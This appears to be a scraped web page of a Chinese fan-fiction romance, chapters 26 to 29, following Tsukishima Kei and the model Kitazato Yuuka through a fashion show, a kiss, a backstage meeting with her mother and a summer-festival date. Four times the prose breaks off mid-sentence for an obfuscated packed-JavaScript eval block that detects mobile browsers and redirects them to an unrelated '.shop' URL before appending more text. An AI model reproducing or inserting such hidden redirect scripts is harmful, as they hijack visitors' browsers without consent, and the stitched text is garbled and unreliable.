;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583728|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有偷窥别人隐私的爱好，只是扫了一眼就收回目光。 比起同龄男生因为“交往对象是艺人”而感到得意，月岛萤更多的是觉得“北里悠花有在被粉丝们好好爱着”。看到自己喜欢的人如此耀眼，他竟然也感同身受地为她高兴。这实在是一种过分奇妙的感觉，他自己都说不出原因。 只是过不多久，月岛萤的脸色很快阴沉下来。 “接下来，终于到了大家期待已久的环节——” “Couple Collection！！！” 主持人这样热情宣布。 Couple Collection，顾名思义、是情侣走秀特别环节。 主办方会邀请时下的大热艺人组成cp或搭档共同走秀，展示能表达出情侣感的穿搭范本。当然，艺人们在台上的撒糖和互动，也是聚集人气的大卖点之一。 而作为高中生cp的代表，北里悠花和黄濑凉太自然是这个环节里最受瞩目的存在。 粉丝们并不在意他们有没有真的在一起，倒不如说、只是单纯磕事务所给他们打造的人设——帅气阳光的人气王子和青春美丽的学园女神。 两个颜值无比般配的人谈一场浪漫的恋爱，这简直是所有高中生的梦想校园生活。 于是周围的粉丝们顷刻间全都陷入了沸腾，她们嘴里都疯狂叫喊着北里悠花和黄濑凉太的cp名。 月岛萤心中有些微妙。 明明自己才是正牌男友，此时却还要坐在台下看女朋友和讨厌的黄毛秀恩爱、搞得他像是见不得光的不伦第三者一样。 呵。 他快气笑了。 北里悠花和黄濑凉太在尖叫声之中压轴出场。 北里悠花此时已经换装完毕，她和黄濑凉太穿着情侣款的休闲连帽外套、一灰一黑。虽然是宽松简单的造型，但因为两人过分优越的外貌、格外有秋日的氛围感。 而他们确实没有做任何亲密动作，只是并肩走上台、然后站在中心位置比了一个爱心。 多年的合作默契和身高差让他们看起来非常般配。 血液上涌至头顶，月岛萤强压下心中的焦躁，还是举起手机帮北里悠花拍照。 他将镜头放大到极致，整体构图比例失衡、分外不和谐。 而原因只有一个。 因为月岛萤没有拍到另外半边的黄濑凉太，只拍了北里悠花一个人。 手背的青筋都用力到暴起，但月岛萤表面上还是装得毫不在意。 看来场馆的灯光还是太亮了，他都觉得有些刺眼。 * K君： 「（图片）今天的照片。」 「我先回去了。」 月岛萤需要赶末班的新干线回仙台。 看完北里悠花全部的走秀，他就拿起包离开。走到场馆外时几乎没人，和来时的夸张人潮形成了鲜明对比。 ——毕竟之后还有大热偶像男团的表演、很少有人会在这个时间选择提前退场。 此时手机又在响，是北里悠花的电话。 月岛萤很快按下接通。 “月岛萤，回头！！！” 他有些诧异，转身看向后方。 身后，刚刚还在台上的北里悠花就这样神奇地出现在了他的面前、像从魔法师礼帽里变出的那般令人惊喜。 她一看就是刚从后台跑出来，还穿着上台时的衣服、发型都有些乱了。 但还是漂亮得过分。 26.26. 盘桓在他心头的焦躁，就因为北里悠花的出现而被轻而易举地抚平。 “怎么突然跑出来了？” 交感神经在传输活跃信号，为了掩饰慌乱月岛萤将攥紧的手插进口袋里。 这还需要理由吗？ 北里悠花自然不明白月岛萤心中的弯弯绕绕，只觉得他问了个莫名其妙的问题。但还是飞奔过去、站定在他面前。 “因为我想你了啊，我们都好久好久没有见面了。”她说出的话过于黏糊，每一个字的尾音都像浸上了蜂蜜。 又顺理成章地朝月岛萤张开双臂撒娇：“抱抱~” 上帝啊，世界上有哪对小情侣有她和月岛萤惨？谈上恋爱后连见面的时间都没有，明明是最容易增进感情的暑假却生生变成了异地恋，难度系数跨越得太夸张了！ 北里悠花才不管月岛萤能否赶上新干线，只想着贴贴。 月岛萤无奈，并没有做出动作：“会有人看到。” “可是现在这里一个人都没有！呜呜呜我们才谈了半个月恋爱你就对我冷淡了嘛。 月岛萤继续补充：“而且我现在要去赶新干线。” 北里悠花挑眉：“哦，所以呢？这就是你可以不好好抱我的理由？” 她总是这样理直气壮地说着一些垃圾话。 作为极致的计划型人格，月岛萤总是受不了北里悠花异于常人的脑回路。 眼前的少女还穿着那件碍眼的情侣款灰色外套，他再次回想起刚才她和黄濑凉太在舞台上的互动。月岛萤厌恶这种陌生的、丑陋的嫉妒心理，就好像在提醒自己正时刻被牵绊住，连喉咙都被北里悠花抛来的锁链所捆绑。 但北里悠花是他的女朋友，他没有理由拒绝她的请求。 更何况只是一个再简单不过的拥抱。 于是月岛萤还是俯下身、轻轻抱了她一下就松开了手。 “哈？？？” 这个拥抱实在过于短暂了，北里悠花甚至还没闻够他身上的味道。她朝月岛萤投去谴责的目光，鼓了鼓嘴表示自己并不满意。 月岛萤有意激她：“才十三天没见面，没想到你竟然这么想念我。” 北里悠花不甘示弱：“连我们几天没见都记得住，我看是萤君比较想我才对吧。” 不小心暴露的月岛萤难得陷入沉默，而北里悠花还在乘胜追击。 “你刚刚有看我在台上的样子嘛，是不是超好看的！” “虽然第一套服装也很可爱，但我还是比较喜欢现在身上的这套。”她指了指自己巨大的卫衣帽子，“感觉男款的萤君也能穿，这样我们就是情侣款了~。” 月岛萤反问她：“你怎么知道我也能穿？” 北里悠花继续心大地解释道：“因为你和黄濑君的身高差不多呀。” 要他和黄濑凉太穿一样的？ 月岛萤扯出一个意味不明的嘲讽微笑，并不作声、欣赏着北里悠花的表演。 她又开始噼里啪啦讲这几天的日常，中间还夹杂着很多和黄濑凉太在一起时发生的片段。 “你都不知道，我和黄濑君的这个走秀环节彩排了好多次。总监督对我们的pose一直不满意，换了好多个版本最后竟然又改回了第一版！真是服了！” 换了好多个版本？那就是不只有比心了？ “当帅哥真是没烦恼啊，我还亲眼看到有个女团的小偶像问黄濑君要联系方式了欸！” 不过是个轻浮男罢了。 “也不知道黄濑君最后有没有加她，好好奇哦。” 真啰嗦。 黄濑凉太、又是黄濑凉太。 这个名字在她嘴里出现的频率实在太高了点。 北里悠花今天用的唇釉是草莓红，带着一点甜甜的香气。 因为是镜面质地，整个嘴唇都看起来亮晶晶的。 月岛萤微眯起眼，就这样看着她开合的唇瓣，弧度饱满、还有着湿润的光泽。 北里悠花真的很吵，理智告诉月岛萤应该继续听她说完、或是转身去坐新干线，但本能还是想让她立刻、马上、闭上这张烦人的嘴。 他不想再听北里悠花说一个字，月岛萤思考片刻就得出了结论。 眼下四周无人，此时最高效的办法就是—— 亲她。 月岛萤也确实是这么做的。 他向前倾身，一只手捧住北里悠花的脸颊靠近、拇指正好停在她的嘴唇边。 北里悠花的声音和动作都戛然而止，双眼因为惊讶而睁大。 月岛萤的喉结微微滚动，他现在心情很好，嘴角勾起一个笑来：“总算安静了。” 就在世界静止的瞬间，月岛萤低头吻了上去。 北里悠花的嘴唇比他想象得柔软许多，带着草莓的甜味、分不出是香水还是唇釉。这个亲吻带着一点惩罚的意味，却又在触碰的瞬间温柔无比。 月岛萤很喜欢捏北里悠花的后颈，像在给炸毛猫顺毛。 刚开始的亲吻并不多，只是单纯的嘴唇相贴。 北里悠花全身都变得僵硬无比，喉咙口未说完的话也变成了细碎的呜咽。但很奇怪的是她一点也不讨厌，反而想要更多。 月岛萤睁眼看北里悠花的模样，她的睫毛正在颤动。 不同于一开始的生涩，在亲吻这件事上月岛萤进展迅速。他另一只手托住北里悠花的后颈、指尖陷入她的的长发，很快就找到了门道。 他并非不知道刚刚北里悠花的话大多都是故意说给自己听的，目的大概也只是为了让他嫉妒吧。 但不得不承认、北里悠花成功了，而且非常成功。 那颗没什么用的男性自尊心感受到威胁，只想消除一切不安因素。 于是北里悠花喉中的呜咽反而成了一种默许，可以继续诱敌深入。 糟糕，好像表演得用力过猛了。 被亲得晕晕乎乎之间，北里悠花一片空白的大脑里只有这个想法。 * 不多久。 北里悠花气愤地看着没事人一样的月岛萤：“你不是要去赶新干线？” 月岛萤拿出纸巾，帮她擦了擦弄花的嘴唇：“时间来得及。” “月岛萤是大骗子。” “我骗你什么了。” 北里悠花抱臂、摆出审问的架势：“你是不是谈过很多次恋爱？” 否则不应该这么会亲！ 月岛萤十分受用她的夸奖：“谢谢悠花老师对我的认可。” 怎么亲了一下脸皮也变厚了！ 在这之前北里悠花一直觉得月岛萤是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590680|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种逗一下就会脸红的纯情少年。 而事实是、他是被逼急了就会动真格的运动系，她根本不可能对这个一米九的排球选手产生任何威胁QAQ “我！要！回！去！了！”这次反倒是北里悠花先转身，飞快逃离了案发现场。她满脸通红，边走边不断扇风、想要挥散脸上的热气。 强化班的聪明学生在接吻时也能无师自通。 从这个角度来说，月岛萤确实学习能力惊人。 看着北里悠花走远的身影，月岛萤也前往新干线车站。 * K君： 「赶上了。」 「（图片）」 好在有惊无险，在掐着点到达月台后、月岛萤顺利坐上了末班前往仙台的新干线。 收到这条消息时，北里悠花已经回到后台化妆间。她脸上的红晕还没有完全褪去，整个人看起来像一颗熟透了的苹果。 “悠花前辈，外面那么热吗？果然是到夏天了。” 刚刚北里悠花就说要出去买瓶水喝，没想到去了这么久才回来。夏川西奈随口关心了句，却见对方的脸更红了。倒像是……羞愤？还透露着一点兴奋。 北里悠花拿起化妆桌上的气垫就往脸上盖：“真的好热哦，我妆都花了。”欲盖弥彰地给自己进行遮掩。 台前、偶像男团的表演应该已经开始了，女粉丝的应援声几乎冲破穹顶。 北里悠花的脸颊还在发烫，虽说她总表现出一副恋爱经验丰富的样子，可实际上也就在国中谈过几次牵牵小手的过家家、根本没有实战经验。高一忙着学习高二转校过来，这才终于体会到什么是真正的接吻。 和外表的冷淡不同，月岛萤亲起人来带有一点压迫感，让她被迫迎合他的节奏。 总而言之。 还挺……刺激的。 打开新世界大门的北里悠花稳住自己的心态，她平复了一下、拿起手机啪啪打字过去。 Yuuka： 「你是嫉妒了吧。」 她用的是肯定句。 北里悠花非常确定，以月岛萤平时的性格再贸然也不会做出今天的举动。况且自己还在有意踩雷区，相信再怎么大度的人也不能忍受恋人在自己面前一直说别的异性的事吧。 等待回复间隙，日向小姐突然出现，她将北里悠花叫去拍摄单人后台照片好发IG。 这也预示着今天的任务结束，只需要好好休息在最后上台拍一张大合照即可。 等北里悠花拍完一堆照片回到位置上，旁边的夏川西奈指了指她的手机。 “前辈，好像有人发消息给你、屏幕亮了。” 应该是月岛萤。 北里悠花解锁查看，然后在看到内容的一瞬间又红透了脸。 ……月岛萤这个死闷骚！！！ * 新干线上，月岛萤正看着北里悠花发来的那句「你是嫉妒了吧」。 列车在城市之间快速穿行，他这次并没有掩藏情绪、反而饶有兴致地进行回复。 K君： 「你才发现？」 「看来这个方法很有效，可以多尝试。」 顺便清除一些不必要的干扰项。 至于那个无关紧要的名字，应该也不用再提了。 27.27. 北里女士在后台等待北里悠花。 为了不引人注目，她特地站在化妆间的角落里。见面前又从包里拿出一枚白色口罩，将脸也遮了个严严实实。女儿在台上的成长让她既欣慰又感动，这位在歌舞伎町叱诧风云的头号女公关到现在眼睛都还有些肿。 北里悠花并没有避着别人，结束所有工作后她便直接来找北里女士。 后台有些混乱，夏川西奈还挽着她的手臂跟她当连体婴。 北里悠花不介意将大小姐介绍给自己的家人，或者说、出于幼稚的私心，她偶尔也想向同龄人炫耀一下自己有位漂亮的妈妈。 “久等啦北里女士~” 北里悠花朝北里女士招了招手，又介绍道：“这位是和我同事务所的夏川西奈，比我小一届、也是日向小姐在带。” “西奈，这位就是我妈妈啦。” 夏川西奈被这突如其来的家长见面环节弄得猝不及防。大小姐连忙抽回了自己的手臂、端正仪态微微鞠躬。 又用上了社交时的寒暄，礼数周全道： “北里女士您好，初次见面、我是夏川西奈。平时真的承蒙您女儿的关照了。” 北里女士打量了下面前站着的女孩，心想果然演艺圈都是出挑的少女。 只是她从没有听悠花提起过这位朋友，那就应该是新加入的吧。 但是新人就能直接进行走秀吗？她记得悠花当年也是签约两年后才有机会上台的。就算北里女士不懂演艺圈的内幕，也知道这样大型的时尚盛典不能随便空降成功。 见惯了名流精英的北里女士立马明白过来，夏川西奈必定是有钱人家的孩子。 眼睛里既没有被金钱和物质世界所污染，也不像后台的其他模特需要争抢资源和机位，连对待陌生人都有让人挑不出错的完美礼仪。 看悠花和她还挽着手臂，两人应该关系不错。 作为社交场上的人精、北里女士人际交往方面没有敌手。 她随即摘下口罩露出一个亲切的笑容，和天底下所有母亲一样感谢夏川西奈：“哪有的话，我们家悠花才是平时给你添麻烦了吧。” 她直视着夏川西奈的眼睛，眼神中带有对女孩的欣赏。 顶级女公关总有高超的对话技巧和个人魅力，能轻而易举建立起亲密关系。北里女士就很擅长捕捉言语中的细节，谈话间让人如沐春风、一下子就卸下心理防备。 她并没有说自己的职业是什么，光从外表来看的确是位优雅从容的贵妇。 目光仅短暂停留了几秒，就又对北里悠花说：“悠花，你交了一位美丽的女生朋友呢。” 夏川西奈没理由反感来自长辈的赞美，她不再端着表情，笑容有些害羞：“谢谢，您太过奖了。” 一旁的北里悠花又主动挽上夏川西奈的手臂，应下北里女士的话：“对呀对呀，西奈就是很漂亮。” 像是想到了什么，北里悠花转头问道：“对了西奈，可以麻烦你给我们拍一张照吗？” 夏川西奈立马应下：“当然没问题。” 咔擦—— 母女俩就这样靠得很近、一同站在化妆间的白墙前。 随着闪光灯亮起，北里悠花笑意盈盈的朝镜头比了个剪刀手、北里女士也没有再戴上那枚口罩。 只是北里女士的思绪并没有停留在原地。 她的眸色沉了沉，面上还是不动声色、暗自反复念着那个姓氏。 夏川西奈…… 夏川，夏川。 是夏川大臣的女儿吗？ 北里女士记得每一位重要客人的姓名，除了一些暴发户和社会精英外，甚至会有财阀家族的继承人光顾。 而政客们大都会为了选举减少前往歌舞伎町露面的机会，毕竟这对他们的政.治生涯没有任何好处。 但偶尔也会有解乏的顶尖官僚出现，夏川大臣就是其中的代表。 打着廉洁宣言的官员们，在夜晚用纳税人的钱在歌舞伎町享乐喝酒。他们谈笑之间并不在意自己说出的话有多张狂，好像料定了周围的女公关们不会、也不敢向外界透露分毫一样。 夏川这个姓氏很好记住。 虽然不能百分百确定夏川西奈就是如今内阁财务大臣的女儿，但从这过分相似的眉眼看来也应该八九不离十了。 只有强权之下，才能培育出温室的花朵。 送不知人间疾苦的大小姐来当模特，应该只是夏川大臣对女儿的纵容。 北里女士还是保持着微笑，她今天只是北里悠花的母亲。 * 对此一无所知的北里悠花并未察觉北里女士的异样情绪。 为了庆祝第一天走秀的圆满成功、也纪念母女俩终于和好，深夜她们躺在酒店柔软的床上一起护肤。 北里女士豪掷千金，将事务所给北里悠花订的单人间升级成了行政套房，从窗户往外看去就能眺望整个大阪城的夜景。 还贴心带来了昂贵的贵妇面膜，北里悠花平时不舍得用、对着包装上的品牌名心满意足地微笑。 她将面膜整齐贴在脸上，舒舒服服地感叹道：“不愧是贵妇面膜，连味道都那么好闻。” 听到她说这话，北里女士冷哼一声：“当初让你不要去宫城上学，好好的去受什么苦。” “我哪有受苦！现在也是靠自己住上了高级塔楼了好吗……” “呵，宫城县的高级塔楼？”北里女士继续往脸上拍化妆水，嘲讽地冷笑一声。 话中的意思明显是，宫城的高级塔楼算什么、在东京连最普通的临街一户建都比不上。 北里悠花选择性无视了北里女士的地域歧视言论。 “刚才的夏川同学是你的学妹吗？” “不是哦，她在东京的冰帝学园上学。” 北里女士装作感兴趣的样子：“她还是新人吧，之前没听你提过。” “嗯，上个月才签约的。” “也是个努力的孩子呢，是为了贴补家用吗？” 注意到北里女士话有所指，北里悠花坐起了身子。 她怎么不知道自己的妈妈突然变成那么热心肠的人了？ 北里女士肯定不会看不出夏川西奈出身名门，这句莫名其妙的话明显是在试探。 尽管如此，北里悠花还是老老实实地进行了回答。 因为“夏川西奈是有钱人”这个事实不是她否认就有用的，爱马仕和宝格丽可不会说谎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604188|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “西奈是大小姐，不需要补贴家用。估计是只是来体验生活的啦~” “哦？那她父母是做什么的？” “听她说是做普通生意的。” 虽然北里悠花也不相信夏川家只是所谓的“普通生意”。 这回轮到她反问北里女士：“妈妈，你怎么突然对西奈那么感兴趣？” 对方自然不上她的当，悠悠解释：“我只是在关心自己的女儿的人际关系、有问题吗？ “没关系没关系。”北里悠花敷衍地应付着。 谈话之间面膜已经半干，她揭下面膜纸拍了拍水嫩的脸蛋。 北里女士还在继续着她的问话。 “在乌野怎么样？” “还不错。” “学习进度都跟得上吗？” “这次期末考试应该能及格。” “钱呢？为了租你的高级塔楼应该没剩多少了吧。” “放心，够用啦。” “那你有谈恋爱吗？” 有谈恋爱吗？ ……当然有。 不止有，他今天晚上还就坐在你旁边。 正打算给月岛萤发晚安讯息的手一停，北里悠花心虚地假装咳嗽了声。 “咳。” 这次看秀她问日向小姐要了两张邀请票，一张给北里女士一张给月岛萤，也压根没有告诉他们彼此的存在。 只是没想到这两张票竟然是连号的！ 但邀请的话已经说出、没有再撤回的可能。 解释起两人的关系有些太麻烦，而月岛萤又是平时不和陌生人讲话的类型，所以北里悠花干脆不解释了——她很确信就算坐在一起两人也应该不会产生什么接触。 恋爱刚谈不久，没必要那么急着深入彼此的生活。 北里悠花的人生原则一直是及时行乐，不看未来。 于是北里悠花含糊其辞道：“为什么这么问？” 北里女士瞥了她一眼、开始进行睡前教育：“妈妈对你谈恋爱没有意见，只要对方是一个真正尊重你、珍惜你的男孩就行了。” 这番话朴实得不像是北里女士会说的。 北里悠花憋着笑问：“我还以为你会说要看他有没有钱呢。” “一个高中生能有多有钱，只要你能好好享受学生时代的恋爱就行了。” 北里女士并不希望北里悠花去找什么财阀之子恋爱。 她的女儿才十七岁，这个年纪的恋爱正是不计后果而冲动的。金钱、名声、地位、权力，只会将学校这所乌托邦摧毁。 北里女士憎恨那个抛下她们母女早早离去、懦弱无能的丈夫。而她自己又何尝不是一样？ 她自认不是一个合格的母亲，甚至连从事的职业都会给女儿带去麻烦、并不光彩。她唯一能做的就是提供足够的经济基础，好让北里悠花在累的时候也能有所依靠。 “知道啦，我的判断可是很准确的。” 北里悠花对自己的眼光很有信心。 毕竟她可是选中了一个一米九、长得帅、无感情史、无不良嗜好、聪明、擅长运动、集傲娇冷淡拽于一身的超优质男高中生。 真是光想想就开心呢。 28.28. 北里女士在第二天便启程返回东京。 她走之前，还是悄悄塞了一个厚厚的信封放在北里悠花的包里。等北里悠花打开包发现那一沓崭新的钞票时，颇有些哭笑不得。 这次她并没有拒绝北里女士的投喂，发信息道谢后就算收下。 离开大阪前，北里悠花还需要留下来接受杂志的夏日特辑采访。 编辑部征集粉丝意见、选了几个最具人气的问题给模特们回答，将以Q&A的形式刊登在内页。 于是在休息室里等待的北里悠花又打开了小丸子看。 成长的第一步就是要学会孤独。 北里悠花在演艺圈基本上没什么知心好友、大家都是泛泛之交。 她平时又不是喜欢主动联络的性格，所以在工作时基本上都是独来独往。每每在休息室等着无聊，她都会戴上耳机重刷一遍小丸子。 小丸子里的夏天，是由三松屋前飘荡的蓝红刨冰旗帜、原野中烂漫的金色向日葵、和吵闹不止的蝉鸣所组成的。 童年在仙台的祖父家时，北里悠花也虚度过这般无忧无虑的暑假。不是和隔壁家的玩伴到夏日祭上捞金鱼，就是拿着苹果糖啃。 而今年的夏天不太一样。 北里悠花的小丸子观后感终于有了分享对象。 Yuuka： 「（图片）」 「我也想去夏日祭！」 「（图片）」 「好久没捞金鱼了QAQ」 「（图片）」 「还想吃刨冰、看烟花、穿浴衣！」 她一股脑发去了三张动画截图，那头的月岛萤果然听懂她的暗示、高效答复。 K君： 「周六在神社附近好像有夏日祭，要去吗？」 北里悠花笑嘻嘻地看着屏幕，很快敲定。 Yuuka： 「好呀~~~」 她用了一串波浪号表示自己的愉悦。 * 逢魔时分，天光化作橙红、将经过白昼暴晒后的余温尽数吞噬。 小情侣的首次正式约会就这样在一个夏日傍晚开始。 月岛萤站在北里悠花家楼下等待。 他今天难得穿了件有白色暗纹的藏蓝色浴衣，整个人看起来线条都柔和了些、没有了平时的冷酷。 因为浴衣加帅哥的组合实在过于赏心悦目，这一路上月岛萤接受了许多男女老少的注目礼、被弄得浑身不自在。 他本来并没有穿浴衣的打算。 夏日祭每年都有，在人挤人的地方还是轻便的服装最为舒适。 所以当前几天北里悠花问他当天打算穿什么颜色的浴衣时，月岛萤扣了一个「？」过去、然后如实回答「我打算穿短袖」。 结果不出所料被北里悠花抱怨一通，事情的严重程度差点上升为第一次吵架。 北里悠花狠狠威胁他「月岛萤你要是不跟我一起穿浴衣拍照就完了」，最后在软硬兼施之下月岛萤失去了自己的选择权。 他想、毕竟只是穿个浴衣而已，比哄生气的北里悠花要简单多了。 等待是一个合格男友的必修课。 在收到「我到口红了」的消息后，月岛萤做好了要继续等半小时的准备。 但好在经过繁琐的化妆、发型、服装，此时折腾了一整个下午的北里悠花总算登场。 “萤君，久等啦。” 她并没有迟到太久。 由于这是和月岛萤的第一次约会，北里悠花非常重视。 为了保证最完美的状态，从大阪回来那天北里悠花并没有让月岛萤来接她回家、放下行李就直奔美容院进行皮肤管理。 中间几天也依旧没有和月岛萤见面，光是选择浴衣的颜色和发型的款式就让她挑花了眼，最后才好不容易敲定这套造型。 月岛萤看向比平时打扮更用心的北里悠花。 她选择了一件蓝粉色浴衣以营造情侣感，头发编成复杂的侧麻花在耳旁轻轻垂下，发间还点缀着几朵同色系的小藤花和单颗珍珠。 像是杂志扉页上的人偶公主。 公主踩着木屐有些不方便，今天的走路速度比平时慢许多。 所以一见面就朝她最忠诚的骑士伸出了手： “你牵着我走好不好，木屐不太好走路~” “好。” 月岛萤自然地牵住她的手。 他们沿着平坦的石板路，慢慢并肩走向神社的方向。 北里悠花嫌热，又只抓着月岛萤的食指走着。 注意到她的小动作，月岛萤嘲笑她：“你是小孩子吗？” 她干脆踮脚、吧唧一口亲在月岛萤的侧脸上： “小孩子不能这样做吧。” 北里悠花似乎过于熟悉这样的亲密举动，一切都发生得顺理成章。 带着香气的吻转瞬即逝，她眨了眨清澈的双眼以表无辜。 月岛萤拿她没办法，只好假装看向远处熙攘的人群。 天色渐晚，朱红的鸟居在夜里亮着光。夏日祭典是隔绝现实世界的屏障，不时有也穿着浴衣的人经过。 寂静的神社在这个夜晚也被染上了尘世的喧嚣气。 踏着石阶一路向上走，就能看到参道两旁早已支起了各种摊铺。 五彩的圆形灯笼悬挂在头灯，汇聚成一片光海。烤鱿鱼冒出热气，苹果糖闪着诱人的亮泽，炒面的锅铲叮铃咣啷。 “我要玩这个！” 而北里悠花没有过多犹豫，她已经拉着月岛萤站在捞金鱼的摊子前燃起斗志。 她今天势必要斩获一条黑色金鱼！ “老板，买三次。谢谢。” 月岛萤将钱交给老板后，就走到一旁去观战。 “……” “破了。” “又破了。” “啊啊啊失败了！” 等北里悠花看着自己手里第三次破掉的纸渔网欲哭无泪时，这才发现月岛萤不知道什么时候去别处买了一堆东西回来。 他左手端着一杯淋上草莓果酱的刨冰，右手拿着苹果糖、手腕上还挂着一个狐狸面具。 整个人看起来在认真的搞笑。 北里悠花双手一摊：“幸好我没抓到金鱼。” 她伸手接过刨冰、挖了一勺放进嘴里。 甜蜜的冰凉在嘴里瞬间化开，又挖了一勺递到月岛萤嘴边：“奖励你一口，辛苦啦~” 月岛萤张嘴吃下。 “你怎么会突然去买那么多东西呀。” 月岛萤看她一眼：“不是你之前说想要的吗。” 北里悠花立刻反应过来他把自己随口说的话都记在了心里，甚至连买来的刨冰都完美复刻了小丸子截图里的样子。 她挽住月岛萤的手臂，笑得眯起眼睛：“嘻嘻，谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617893|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢萤君。” “我现在真的感觉自己特别特别幸福——！！” 她额外强调了“特别特别”，还颇为夸张地拉长了尾音。 北里悠花一向善于感知幸福。 她表达喜欢时，是热烈的、直白的。哪怕是只有十分的喜欢，也能描述成一百分。 而月岛萤这样别扭的性格正需要她这样的直球。 她默默观察着月岛萤嘴角的弧度、知道他也一定心情不错。 人又变多了许多，四周都是谈笑的声音。 夏日祭的位置并不算偏，偶尔还能看到学校里的几张熟面孔。好在月岛萤有先见之明，直接将狐狸面具戴在她的脸上。 透过面具、北里悠花不爽道：“我化了好久的妆都看不见了！” “或者你也可以选择被学校里的人发现。” “我又不在乎。”北里悠花还在嘴硬。 虽然嘴上说着无所谓被人发现，可她确实是希望能够安稳度日、不要因为恋爱多生事端，所以还是乖乖闭嘴不再抱怨。 但老套的少女漫情节从来不会迟到。 就当她和月岛萤并肩在捞水气球的摊子前排队时，身后传来了过于熟悉的声音。 “阿、阿月？” 带着些许的迟疑和不可置信，山口忠一眼就在人群中发现了目标过于明显的月岛萤。 月岛萤出现在夏日祭，可疑程度百分之三十、毕竟有可能是被别人拉来的。 月岛萤穿着浴衣出现在夏日祭，可疑程度百分之五十、他去年还听月岛萤说过穿浴衣太热了。 月岛萤穿着浴衣、和戴着狐狸面具的女生一起牵手出现在夏日祭，可疑程度百分之二百！！！ 阿月瞒得也太好了，竟然从来都没透露过他谈恋爱了！ 当了那么多年好朋友，现在只剩下他一个人还没尝过恋爱的滋味。 拥有少年维特之烦恼的山口忠在震惊的同时，没忍住叹了口气、陷入了淡淡的青春期忧伤之中。 * 听到山口忠的声音，两个人不约而同地转过头去。 ——没想到竟然是山口同学，这也实在太巧了点。 乌野排球部的人都是随机刷新的npc吗？上次在体育馆门口也被谷地同学看到了。 因为有面具遮挡、北里悠花并不慌张、也没有松开牵着的手。 她反而故意伸出一根手指，挠了挠月岛萤的掌心。 月岛萤对她的恶作剧置若罔闻。 他脸上并没有任何被人撞破的尴尬，甚至一脸淡定地和山口忠打招呼：“是山口啊，好巧。” 看上去并没有介绍北里悠花的打算。 而山口忠正看着那位和月岛萤牵着手的神秘女嘉宾。 对方的脸被狐狸面具完全遮盖，根本想象不出五官。但从精致的发型和纤瘦的身形来看，也能判断出是一位漂亮的女生。 只不过，确实有些过于熟悉的感觉。 明明应该是第一次见面才对，可不知为何女生却表现得极为平静、就像是本来就知道他是谁一样。 “这位是？……” 尽管面前两位的关系已经非常明显，山口忠还是好奇地问了一句。 “她是我的女朋友。” 月岛萤继续牵着北里悠花的手。 他说出这句话时，手掌抓住了北里悠花在暗地里不停捣乱的手指。 29.29. 月岛萤的表情十分坦然。 反倒是站在原地的山口忠不自在地摸了摸自己的脖子，好半天才缓过神来。 从月岛萤嘴里听到“女朋友”这个称呼总觉得十分诡异。 山口忠只能对着那个狐狸面具问好：“初次见面，我是阿月的朋友山口忠、请多指教。” 我当然知道你是山口忠。 尽管快要憋不住笑、但是出于优秀的职业素养北里悠花还是一本正经道：“山口君你好。” 她并没有介绍自己的名字。 因为躲在面具后，所以声音也闷闷的、听不大出平时的样子。 “抱歉啊，这两天我的脸上有些过敏，不太方便摘面具。” “等下次有机会再和你正式问候呀。” “等下次有机会”是这个世界默认的社交法则，给予对话的双方以私人空间——其实就是委婉拒绝。 山口忠并没有认出眼前的人就是北里悠花，但鉴于对方这一番话都说到这个地步了，礼貌的少年也自然知道对方没有继续和他寒暄的意思。 “啊，这样啊。那我该怎么称呼你比较好呢？” 月岛萤适时解围：“她比较害羞。” “……” 面对小情侣厚脸皮的一唱一和，山口忠瞬间觉得他变成了一颗巨闪无比的电灯泡。 刚刚头脑一热就冲了过来，此时他也终于反应过来自己出现得有多不合时宜，竟然打扰了别人约会！ 简直尴尬到无所适从！ 眼前小情侣还在牵着手，山口忠极力克制住内心的一万字OS。 曾经他一直以为月岛萤凭借那张可以毒死人的嘴和莫名其妙的自尊心会让他注孤生，没想到现在自己才是小丑。 